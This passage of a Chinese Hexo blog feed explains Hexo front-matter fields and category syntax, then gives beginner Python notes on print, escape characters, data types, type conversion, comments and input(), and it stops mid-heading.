    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h2 id="front-matter"><a class="markdownIt-Anchor" href="#front-matter">#</a> Front-matter</h2><p>Front-matter 是档案最上方以 — 分隔的区域，用于指定个别档案的变数。</p><p>如果标注可选的参数，可根据自己需要添加，不用全部都写在 markdown 里</p><h3 id="page-front-matter"><a class="markdownIt-Anchor" href="#page-front-matter">#</a> Page Front-matter</h3><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">title:</span><br><span class="line">date:</span><br><span class="line">updated:</span><br><span class="line">type:</span><br><span class="line">comments:</span><br><span class="line">description:</span><br><span class="line">keywords:</span><br><span class="line">top<span class="emphasis">_img:</span></span><br><span class="line"><span class="emphasis">mathjax:</span></span><br><span class="line"><span class="emphasis">katex:</span></span><br><span class="line"><span class="emphasis">aside:</span></span><br><span class="line"><span class="emphasis">aplayer:</span></span><br><span class="line"><span class="emphasis">highlight_</span>shrink:</span><br></pre></td></tr></table></figure><table><thead><tr><th>写法</th><th>解释</th></tr></thead><tbody><tr><td>title</td><td>【必需】页面标题</td></tr><tr><td>date</td><td>【必需】页面创建日期</td></tr><tr><td>type</td><td>【必需】标签、分类和友情链接三个页面需要配置</td></tr><tr><td>updated</td><td>【可选】页面更新日期</td></tr><tr><td>description</td><td>【可选】页面描述</td></tr><tr><td>keywords</td><td>【可选】页面关键字</td></tr><tr><td>comments</td><td>【可选】显示页面评论模块 (默认 true)</td></tr><tr><td>top_img</td><td>【可选】页面顶部图片</td></tr><tr><td>mathjax</td><td>【可选】显示 mathjax (当设置 mathjax 的 per_page: false 时，才需要配置，默认 false)</td></tr><tr><td>katex</td><td>【可选】显示 katex (当设置 katex 的 per_page: false 时，才需要配置，默认 false)</td></tr><tr><td>aside</td><td>【可选】显示侧边栏 (默认 true)</td></tr><tr><td>aplayer</td><td>【可选】在需要的页面加载 aplayer 的 js 和 css, 请参考文章下面的音乐 配置</td></tr><tr><td>highlight_shrink</td><td>【可选】配置代码框是否展开 (true/false)(默认为设置中 highlight_shrink 的配置)</td></tr></tbody></table><h2 id="post-front-matter"><a class="markdownIt-Anchor" href="#post-front-matter">#</a> Post Front-matter</h2><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">title:</span><br><span class="line">date:</span><br><span class="line">updated:</span><br><span class="line">tags:</span><br><span class="line">categories:</span><br><span class="line">keywords:</span><br><span class="line">description:</span><br><span class="line">top<span class="emphasis">_img:</span></span><br><span class="line"><span class="emphasis">comments:</span></span><br><span class="line"><span class="emphasis">cover:</span></span><br><span class="line"><span class="emphasis">toc:</span></span><br><span class="line"><span class="emphasis">toc_</span>number:</span><br><span class="line">copyright:</span><br><span class="line">copyright<span class="emphasis">_author:</span></span><br><span class="line"><span class="emphasis">copyright_</span>author<span class="emphasis">_href:</span></span><br><span class="line"><span class="emphasis">copyright_</span>url:</span><br><span class="line">copyright<span class="emphasis">_info:</span></span><br><span class="line"><span class="emphasis">mathjax:</span></span><br><span class="line"><span class="emphasis">katex:</span></span><br><span class="line"><span class="emphasis">aplayer:</span></span><br><span class="line"><span class="emphasis">highlight_</span>shrink:</span><br><span class="line">aside:</span><br></pre></td></tr></table></figure><table><thead><tr><th>写法</th><th>解释</th></tr></thead><tbody><tr><td>title</td><td>【必需】文章标题</td></tr><tr><td>date</td><td>【必需】文章创建日期</td></tr><tr><td>updated</td><td>【可选】文章更新日期</td></tr><tr><td>tags</td><td>【可选】文章标签</td></tr><tr><td>categories</td><td>【可选】文章分类</td></tr><tr><td>keywords</td><td>【可选】文章关键字</td></tr><tr><td>description</td><td>【可选】文章描述</td></tr><tr><td>top_img</td><td>【可选】文章顶部图片</td></tr><tr><td>cover</td><td>【可选】文章缩略图 (如果没有设置 top_img, 文章页顶部将显示缩略图，可设为 false / 图片地址 / 留空)</td></tr><tr><td>comments</td><td>【可选】显示文章评论模块 (默认 true)</td></tr><tr><td>toc</td><td>【可选】显示文章 TOC (默认为设置中 toc 的 enable 配置)</td></tr><tr><td>toc_number</td><td>【可选】显示 toc_number (默认为设置中 toc 的 number 配置)</td></tr><tr><td>copyright</td><td>【可选】显示文章版权模块 (默认为设置中 post_copyright 的 enable 配置)</td></tr><tr><td>copyright_author</td><td>【可选】文章版权模块的文章作者</td></tr><tr><td>copyright_author_href</td><td>【可选】文章版权模块的文章作者链接</td></tr><tr><td>copyright_url</td><td>【可选】文章版权模块的文章连结链接</td></tr><tr><td>copyright_info</td><td>【可选】文章版权模块的版权声明文字</td></tr><tr><td>mathjax</td><td>【可选】显示 mathjax (当设置 mathjax 的 per_page: false 时，才需要配置，默认 false)</td></tr><tr><td>katex</td><td>【可选】显示 katex (当设置 katex 的 per_page: false 时，才需要配置，默认 false)</td></tr><tr><td>aplayer</td><td>【可选】在需要的页面加载 aplayer 的 js 和 css, 请参考文章下面的音乐 配置</td></tr><tr><td>highlight_shrink</td><td>【可选】配置代码框是否展开 (true/false)(默认为设置中 highlight_shrink 的配置)</td></tr><tr><td>aside</td><td>【可选】显示侧边栏 (默认 true)</td></tr></tbody></table><h2 id="多级标记以及分类设置"><a class="markdownIt-Anchor" href="#多级标记以及分类设置">#</a> 多级标记以及分类设置</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">title: 标签设置</span><br><span class="line">categories:</span><br><span class="line"> - 一级分类</span><br><span class="line"> - 二级分类</span><br><span class="line"> - 二级分类</span><br><span class="line">tags:</span><br><span class="line"> - tag1</span><br><span class="line"> - tag2</span><br><span class="line"> - tag3</span><br></pre></td></tr></table></figure><p>如果你需要为文章添加多个分类，可以尝试以下 list 中的方法。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">categories:</span><br><span class="line">- [Diary, PlayStation]</span><br><span class="line">- [Diary, Games]</span><br><span class="line">- [Life]</span><br></pre></td></tr></table></figure><p>此时这篇文章同时包括三个分类：  <code>PlayStation</code>  和  <code>Games</code>  分别都是父分类  <code>Diary</code>  的子分类，同时  <code>Life</code>  是一个没有子分类的分类。</p>]]></content>
    
    
    <summary type="html">对Hexo matter格式进行说明</summary>
    
    
    
    <category term="Hexo" scheme="http://www.cclss.top/categories/Hexo/"/>
    
    
    <category term="教程" scheme="http://www.cclss.top/tags/%E6%95%99%E7%A8%8B/"/>
    
  </entry>
  
  <entry>
    <title>python学习笔记</title>
    <link href="http://www.cclss.top/post/python_learn/"/>
    <id>http://www.cclss.top/post/python_learn/</id>
    <published>2021-03-01T09:50:37.000Z</published>
    <updated>2021-03-01T09:50:37.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="一-print函数"><a class="markdownIt-Anchor" href="#一-print函数">#</a> 一、print () 函数</h1><h2 id="1-可以输出数字"><a class="markdownIt-Anchor" href="#1-可以输出数字">#</a> 1. 可以输出数字</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">print(<span class="number">520</span>)</span><br><span class="line">print(<span class="number">98.5</span>)</span><br></pre></td></tr></table></figure><h2 id="2-可以输出字符串"><a class="markdownIt-Anchor" href="#2-可以输出字符串">#</a> 2. 可以输出字符串</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">print(<span class="string">&#x27;hello world&#x27;</span>)</span><br><span class="line">print(<span class="string">&quot;hello world&quot;</span>)</span><br></pre></td></tr></table></figure><h2 id="3-可以输出含有运算符的表达式"><a class="markdownIt-Anchor" href="#3-可以输出含有运算符的表达式">#</a> 3. 可以输出含有运算符的表达式</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">print(<span class="number">3</span>+<span class="number">1</span>)</span><br></pre></td></tr></table></figure><h2 id="4-可以输出到文件"><a class="markdownIt-Anchor" href="#4-可以输出到文件">#</a> 4. 可以输出到文件</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">fp = <span class="built_in">open</span>(<span class="string">&#x27;D:/text.txt&#x27;</span>,<span class="string">&#x27;a+&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;hello world&#x27;</span>,file=fp)</span><br><span class="line">fp.close</span><br></pre></td></tr></table></figure><p>** 注意：**1. 所指定的盘符必须存在；2. 使用 file=fp；3.a + 表示文件不存在就创建，存在的话就在内容上继续追加。</p><p>不进行换行输出：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">print(<span class="string">&#x27;hello&#x27;</span>,<span class="string">&#x27;world&#x27;</span>,<span class="string">&#x27;Python&#x27;</span>)</span><br></pre></td></tr></table></figure><h1 id="二-转义字符"><a class="markdownIt-Anchor" href="#二-转义字符">#</a> 二、转义字符</h1><h2 id="1-转义字符"><a class="markdownIt-Anchor" href="#1-转义字符">#</a> 1. 转义字符</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">print(<span class="string">&#x27;hello \n world&#x27;</span>) <span class="comment">#\ +转义功能的首字母 n--newline的首字母表示换行</span></span><br><span class="line">print(<span class="string">&#x27;hello \t world&#x27;</span>)  <span class="comment">#\t 水平制表符，一组4个空格的位置</span></span><br><span class="line">print(<span class="string">&#x27;helloooo \t world&#x27;</span>) </span><br><span class="line">print(<span class="string">&#x27;hello \r world&#x27;</span>) <span class="comment">#\r 回车把hello覆盖</span></span><br><span class="line">print(<span class="string">&#x27;hello \b world&#x27;</span>) <span class="comment">#\b 退一个格将o退没了</span></span><br><span class="line">print(<span class="string">&#x27;http:\\\\www.baidu.com&#x27;</span>) <span class="comment">#\\输出一个\，\\\\输出2个\</span></span><br><span class="line">print(<span class="string">&#x27;  老师说：\’大家好\‘  &#x27;</span>)</span><br></pre></td></tr></table></figure><h2 id="2-原字符"><a class="markdownIt-Anchor" href="#2-原字符">#</a> 2. 原字符</h2><p>不希望字符串中的转义字符起作用，字符串前加上 r 或者 R</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">print(<span class="string">r&#x27;hello \n world&#x27;</span>)</span><br></pre></td></tr></table></figure><p>** 注意事项：** 最后一个字符不能是反斜杠 \，但是是两个 \\ 可以。</p><h1 id="三-七十二变"><a class="markdownIt-Anchor" href="#三-七十二变">#</a> 三、七十二变</h1><h2 id="1-二进制与字符编码"><a class="markdownIt-Anchor" href="#1-二进制与字符编码">#</a> 1. 二进制与字符编码</h2><p>计算机只认识 0 和 1。ASCII 表来表示符号和数字。<img src="https://static01.imgkr.com/temp/d141123ef9d94013a8e0c3f6a025a7c9.png" alt="ASCII"></p><p>‘A’ 使用了 8 个位（bit）才能表示出来，在计算机他们叫<strong>一个字节（byte）</strong>。</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mspace width="2em"/><mn>0</mn><mspace width="2em"/><mn>1</mn><mspace width="2em"/><mn>0</mn><mspace width="2em"/><mn>0</mn><mspace width="2em"/><mn>0</mn><mspace width="2em"/><mn>0</mn><mspace width="2em"/><mn>0</mn><mspace width="2em"/><mn>1</mn><mspace width="2em"/></mrow><annotation encoding="application/x-tex">\qquad0 \qquad 1\qquad 0\qquad 0\qquad0\qquad0\qquad 0\qquad 1\qquad</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mspace" style="margin-right:2em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:2em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:2em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:2em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:2em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:2em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:2em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:2em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:2em;"></span></span></span></span></span></p><p>1024 byte = 1 kB ； 1024 kB = 1 MB ；</p><p>1024 MB = 1 GB ； 1024 GB = 1 TB.</p><blockquote><p>二进制 0，1→ASCII→GB2312→GB18030 →Unicode→UTF-8</p></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 汉字“乘”与进制数的转换</span></span><br><span class="line">print(<span class="built_in">chr</span>(<span class="number">0b100111001011000</span>)) <span class="comment">#0b代表二进制</span></span><br><span class="line">print(<span class="built_in">ord</span>(<span class="string">&#x27;乘&#x27;</span>))   <span class="comment">#得到&#x27;乘&#x27;所代表的十进制数</span></span><br></pre></td></tr></table></figure><h2 id="2-标识符和保留字"><a class="markdownIt-Anchor" href="#2-标识符和保留字">#</a> 2. 标识符和保留字</h2><p>有一些单词被赋予了特定的意义，这些单词在用户给任何对象起名字的时候不允许使用。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> keyword</span><br><span class="line">print(keyword.kwlist)   <span class="comment">#查看所有的保留字</span></span><br></pre></td></tr></table></figure><p><strong>标识符</strong>是指变量、函数、类、模块和其他对象的名字。</p><blockquote><p>其规则是：</p><ul><li>字母、数字、下划线</li><li>不能以数字开头</li><li>不能是 Python 的保留字</li><li>严格区分大小写</li></ul></blockquote><h2 id="3-变量的定义和使用"><a class="markdownIt-Anchor" href="#3-变量的定义和使用">#</a> 3. 变量的定义和使用</h2><p><strong>变量</strong>是内存中一个带标签的盒子。下例中，name 表示变量名，= 是复制运算符，玛丽亚是值。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">name = <span class="string">&#x27;玛丽亚&#x27;</span></span><br><span class="line">print(name)</span><br><span class="line">print(<span class="string">&#x27;标识&#x27;</span>,<span class="built_in">id</span>(name))</span><br><span class="line">print(<span class="string">&#x27;类型&#x27;</span>,<span class="built_in">type</span>(name))</span><br><span class="line">print(<span class="string">&#x27;值&#x27;</span>,name)</span><br></pre></td></tr></table></figure><p><strong>变量由三部分组成：</strong></p><ul><li>** 标识：** 表示对象所存储的内存地址，使用内置函数 id (obj) 来获取；</li><li>** 类型：** 表示对象的数据类型，使用内置函数 type (obj) 来获取；</li><li>** 值：** 表示对象所存储的具体数据，使用 print (obj) 可以将值进行打印输出；</li></ul><p>当多次复制后，变量名会指向新的空间，旧的空间称为内存垃圾。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">name = <span class="string">&#x27;玛丽亚&#x27;</span></span><br><span class="line">print(name)</span><br><span class="line">name = <span class="string">&#x27;楚留冰&#x27;</span></span><br><span class="line">print(name)</span><br></pre></td></tr></table></figure><h2 id="4-常用的数据类型"><a class="markdownIt-Anchor" href="#4-常用的数据类型">#</a> 4. 常用的数据类型</h2><p>常用的数据类型：</p><ul><li>整数类型（int）：98</li><li>浮点数类型（float）：3.14159</li><li>布尔类型（bool）：True False</li><li>字符串类型（str）：‘人生苦短，我用 Python’</li></ul><h3 id="1整数类型integer"><a class="markdownIt-Anchor" href="#1整数类型integer">#</a> （1）整数类型 integer</h3><p>整数的不同进制表示方法：</p><ul><li>十进制：默认的进制；</li><li>二进制：以 0b 开头；</li><li>八进制：以 0o 开头；</li><li>十六进制：以 0x 开头。</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">n1 = <span class="number">90</span></span><br><span class="line">n2 = -<span class="number">76</span></span><br><span class="line">n3 = <span class="number">0</span></span><br><span class="line">print(n1,<span class="built_in">type</span>(n1))</span><br><span class="line">print(n2,<span class="built_in">type</span>(n2))</span><br><span class="line">print(n3,<span class="built_in">type</span>(n3))</span><br><span class="line"></span><br><span class="line"><span class="comment">#整数可以表示为二进制，十进制，八进制，十六进制</span></span><br><span class="line">print(<span class="string">&#x27;十进制&#x27;</span>,<span class="number">118</span>) </span><br><span class="line">print(<span class="string">&#x27;二进制&#x27;</span>,<span class="number">0b10101111</span>) <span class="comment">#二进制以0b开头，0，1</span></span><br><span class="line">print(<span class="string">&#x27;八进制&#x27;</span>,<span class="number">0o176</span>) <span class="comment">#八进制以0o开头，0-7</span></span><br><span class="line">print(<span class="string">&#x27;十六进制&#x27;</span>,<span class="number">0x1EAF</span>) <span class="comment">#十六进制以0x开头，0-9，A-F</span></span><br></pre></td></tr></table></figure><h3 id="2浮点数类型float"><a class="markdownIt-Anchor" href="#2浮点数类型float">#</a> （2）浮点数类型 float</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">a = <span class="number">3.14159</span></span><br><span class="line">print(a,<span class="built_in">type</span>(a))</span><br><span class="line"></span><br><span class="line">n1 = <span class="number">1.1</span></span><br><span class="line">n2 = <span class="number">2.2</span></span><br><span class="line">n3 = <span class="number">2.1</span></span><br><span class="line">print(n1+n2)   <span class="comment">#结果出现很多0，计算不准确，二进制的底层问题，会有误差</span></span><br><span class="line">print(n1+n3)</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> decimal <span class="keyword">import</span> Decimal  <span class="comment">#导入模块decimal解决不准确的问题</span></span><br><span class="line">print(Decimal(<span class="string">&#x27;1.1&#x27;</span>)+Decimal(<span class="string">&#x27;2.2&#x27;</span>))</span><br></pre></td></tr></table></figure><h3 id="3布尔类型boolean"><a class="markdownIt-Anchor" href="#3布尔类型boolean">#</a> （3）布尔类型 boolean</h3><ul><li>用来表示真或假的值；</li><li>True 表示真，False 表示假；</li><li>布尔值可以转化为整数，True-&gt;1，False-&gt;0。</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">f1 = <span class="literal">True</span></span><br><span class="line">f2 = <span class="literal">False</span></span><br><span class="line">print(f1,<span class="built_in">type</span>(f1))</span><br><span class="line">print(f2,<span class="built_in">type</span>(f2))</span><br><span class="line"><span class="comment">#布尔值转化为整数计算</span></span><br><span class="line">print(f1+<span class="number">1</span>)  <span class="comment">#2   1+1的结果为2，True表示1</span></span><br><span class="line">print(f2+<span class="number">1</span>)  <span class="comment">#1   0+1的结果为1，False表示0</span></span><br></pre></td></tr></table></figure><h3 id="4字符串类型"><a class="markdownIt-Anchor" href="#4字符串类型">#</a> （4）字符串类型</h3><ul><li>字符串类型又被称为不可变的字符序列；</li><li>可以使用单引号，双引号，三引号来定义；</li><li>单引号和双引号定义的字符串必须在一行；</li><li>三引号定义的字符串可以分布在连续的多行。</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">str1 = <span class="string">&#x27;人生苦短，我用Python&#x27;</span></span><br><span class="line">print(str1,<span class="built_in">type</span>(str1))</span><br><span class="line">str2 = <span class="string">&quot;人生苦短，我用Python&quot;</span></span><br><span class="line">print(str2,<span class="built_in">type</span>(str2))</span><br><span class="line">str3 = <span class="string">&#x27;&#x27;&#x27;人生苦短，</span></span><br><span class="line"><span class="string">  我用Python&#x27;&#x27;&#x27;</span></span><br><span class="line">print(str3,<span class="built_in">type</span>(str3))</span><br><span class="line">str4 = <span class="string">&quot;&quot;&quot;人生苦短，</span></span><br><span class="line"><span class="string">  我用Python&quot;&quot;&quot;</span></span><br></pre></td></tr></table></figure><h3 id="5数据类型的转换"><a class="markdownIt-Anchor" href="#5数据类型的转换">#</a> （5）数据类型的转换</h3><p><strong>为什么需要数据类型的转换？将不同类型的数据拼接到一起。</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">name = <span class="string">&#x27;张三&#x27;</span></span><br><span class="line">age = <span class="number">20</span></span><br><span class="line">print(<span class="built_in">type</span>(name),<span class="built_in">type</span>(age)) <span class="comment">#说明name和age的数据类型不同</span></span><br><span class="line">print(<span class="string">&#x27;我叫&#x27;</span> +name+ <span class="string">&#x27;今年&#x27;</span> +<span class="built_in">str</span>(age)+ <span class="string">&#x27;岁&#x27;</span> ) <span class="comment">#将int类型通过str()转换为str类型</span></span><br><span class="line"></span><br><span class="line">print(<span class="string">&#x27;---str()将其他类型转换成str类型---&#x27;</span>)</span><br><span class="line">a = <span class="number">10</span></span><br><span class="line">b = <span class="number">198.8</span></span><br><span class="line">c = <span class="literal">False</span></span><br><span class="line">print(typr(a),<span class="built_in">type</span>(b),<span class="built_in">type</span>(c))</span><br><span class="line">print(<span class="built_in">str</span>(a),<span class="built_in">str</span>(b),<span class="built_in">str</span>(c),<span class="built_in">type</span>(<span class="built_in">str</span>(a)),<span class="built_in">type</span>(<span class="built_in">str</span>(b)),<span class="built_in">type</span>(<span class="built_in">str</span>(c)))</span><br><span class="line"></span><br><span class="line">print(<span class="string">&#x27;---int()将其他类型转换成int类型---&#x27;</span>)</span><br><span class="line">s1 = <span class="string">&#x27;128&#x27;</span></span><br><span class="line">f1 = <span class="number">98.7</span></span><br><span class="line">s2 = <span class="string">&#x27;76.77&#x27;</span></span><br><span class="line">ff = <span class="literal">True</span></span><br><span class="line">s3 = <span class="string">&#x27;hello&#x27;</span></span><br><span class="line">print(<span class="built_in">type</span>(s1),<span class="built_in">type</span>(f1),<span class="built_in">type</span>(s2),<span class="built_in">type</span>(ff),<span class="built_in">type</span>(s3))</span><br><span class="line">print(<span class="built_in">int</span>(s1),<span class="built_in">type</span>(<span class="built_in">int</span>(s1)))  <span class="comment">#str转换成int类型，字符串为数字串</span></span><br><span class="line">print(<span class="built_in">int</span>(f1),<span class="built_in">type</span>(<span class="built_in">int</span>(f1)))  <span class="comment">#float转换成int类型，只截取整数部分，舍去小数部分</span></span><br><span class="line"><span class="comment">#print(int(s2),type(int(s2)))  #str转换成int类型报错，因为字符串为小数串</span></span><br><span class="line">print(<span class="built_in">int</span>(ff),<span class="built_in">type</span>(<span class="built_in">int</span>(ff)))  <span class="comment">#bool转换成int类型</span></span><br><span class="line"><span class="comment">#print(int(s3),type(int(s3)))  #str转换成int类型报错，字符串必须是数字串且是整数，非数字串不允许转换</span></span><br><span class="line"></span><br><span class="line">print(<span class="string">&#x27;---float()函数，将其他数据类型转换成float类型---&#x27;</span>)</span><br><span class="line">s4 = <span class="string">&#x27;128.96&#x27;</span></span><br><span class="line">s5 = <span class="string">&#x27;76&#x27;</span></span><br><span class="line">ff1 = <span class="literal">True</span></span><br><span class="line">s6 = <span class="string">&#x27;hello&#x27;</span></span><br><span class="line">i = <span class="number">98</span></span><br><span class="line">print(<span class="built_in">type</span>(s4),<span class="built_in">type</span>(s5),<span class="built_in">type</span>(s6),<span class="built_in">type</span>(ff1),<span class="built_in">type</span>(i))</span><br><span class="line">print(<span class="built_in">float</span>(s4),<span class="built_in">type</span>(<span class="built_in">float</span>(s4)))</span><br><span class="line">print(<span class="built_in">float</span>(s5),<span class="built_in">type</span>(<span class="built_in">float</span>(s5)))</span><br><span class="line">print(<span class="built_in">float</span>(ff1),<span class="built_in">type</span>(<span class="built_in">float</span>(ff1)))</span><br><span class="line"><span class="comment">#print(float(s6),type(float(s6)))  #字符串中数据为非数字串，不允许转换</span></span><br><span class="line">print(<span class="built_in">float</span>(i),<span class="built_in">type</span>(<span class="built_in">float</span>(i)))</span><br></pre></td></tr></table></figure><h2 id="5-python中的注释"><a class="markdownIt-Anchor" href="#5-python中的注释">#</a> 5. Python 中的注释</h2><p><strong>注释</strong>是在代码中对代码的功能进行解释说明的标注性文字，可以提高代码的可读性，注释的内容会被 Python 解释器忽略。通常包含三种类型的注释：</p><ul><li>单行注释：以’#' 开头，直至换行结束；</li><li>多行注释：并没有单独的多行注释标记，将一对三引号之间的代码称为多行注释；</li><li>中文编码声明注释：在文件开头加上中文声明注释，用以指定源码文件的编码格式。（Python3 基本用不到）</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#输入功能（单行注释）</span></span><br><span class="line">print(<span class="string">&#x27;hello&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;嘿嘿，</span></span><br><span class="line"><span class="string">我是多行注释&#x27;&#x27;&#x27;</span></span><br></pre></td></tr></table></figure><h1 id="四-算你赢"><a class="markdownIt-Anchor" href="#四-算你赢">#</a> 四、算你赢</h1><h2 id="1-python的输入函数input"><a class="markdownIt-Anchor" href="#1-python的输入函数input">#</a> 1. Python 的输入函数 input ()</h2><p>input () 函数的基本使用：present=input (‘大圣想要什么礼物呢？’)</p><p>其中 present 是变量，= 是赋值运算符，将输入函数的结果赋值给变量 present，input 函数是一个输入函数，需要输入回答。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#输入函数input</span></span><br><span class="line">present = <span class="built_in">input</span>(<span class="string">&#x27;大圣想要什么礼物呢？&#x27;</span>)</span><br><span class="line">print(present,<span class="built_in">type</span>(present))</span><br><span class="line"></span><br><span class="line"><span class="comment">#要求从键盘录入两个整数，计算两个整数的和</span></span><br><span class="line">a = <span class="built_in">input</span>(<span class="string">&#x27;请输入一个加数：&#x27;</span>)</span><br><span class="line">a = <span class="built_in">int</span>(a)</span><br><span class="line">b = <span class="built_in">input</span>(<span class="string">&#x27;请输入另一个加数：&#x27;</span>)</span><br><span class="line">b = <span class="built_in">int</span>(b)</span><br><span class="line">print(<span class="built_in">type</span>(a),<span class="built_in">type</span>(b))</span><br><span class="line">print(a+b)   <span class="comment">#对str类型的两个量进行连接,对int类型的两个量进行计算</span></span><br></pre></td></tr></table></figure><h2 id="2-python中的运算符"><a class="markdownIt-Anchor" href="#2-python中的运算符">#</a> 2. Python 